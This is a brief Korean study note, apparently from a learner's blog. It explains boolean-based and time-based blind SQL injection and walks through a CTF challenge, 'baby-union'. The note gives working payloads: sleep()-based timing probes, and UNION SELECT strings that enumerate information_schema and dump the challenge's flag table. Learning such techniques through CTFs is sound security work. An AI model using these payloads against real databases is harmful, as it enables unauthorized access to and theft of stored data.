Blind SQL Injection - Boolean Based
Boolean Based는 쿼리의 참과 거짓만을 출력하는 페이지에 사용하는 공격 기법이다.
출력 내용이 참과 거짓 밖에 없기 때문에 데이터베이스의 내용을 추측해서 값을 입력 후
참이 나올때까지 임의의 값을 대입하여 값을 알아내는 방식으로 공격을 진행한다.
Blind SQL Injection - Time Based
Time Based는 응답 시간을 토대로 페이지를 공격하는 기법이다. Time Based는 참과 거짓에 관계없이 모두 동일한 결과를 보여준다.
따라서 참을 구별하기 위해 인자에 입력한 시간만큼 응답을 지연시키는 sleep 함수를 사용하여 Injection을 시도한다.
(값 뒤에 sleep()함수를 넣어 만약 참이면 sleep 함수가 실행되고 거짓을 경우 sleep 함수가 실행되지 않도록 하는 방식으로 참, 거짓을 구분함)
예를 들어 ' or 1=1 and sleep(2) -- - 란 명령어를 입력하면 1=1, 즉 참이므로 뒤에 sleep(2)가 실행되에 응답 시간이 지연될것이다. 하지만 ' or 1=0 and sleep(2) -- - 이란 명령어를 입력하면 값이 거짓이므로 응답 시간의 차이가 발생하지 않을것이다.
baby-union 문제풀이
' union select version(),null,null,null -- -
위 명령어를 통해 컬럼의 수가 4개라는 것을 알아낼수 있다.
' union select table_name, null, null, null from information_schema.tables -- -
위 명령어를 통해 테이블의 이름을 출력할수 있다.
출력된 이름중 onlyflag가 table_name이라는것을 확인하기 위해
' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #
위 명령어를 입력해보면 4개의 컬럼이 출력되는것을 확인할수 있다.
' union select sname, svalue, sflag, sclose from onlyflag #
이제 위 명령어를 통해 svalue, sflag, sclose의 값을 확인해보면 주어인 플레그가 나오게 된다.
아직 baby-union을 이해하지 못해서 좀더 찾아보며 보충해야 할 것 같다.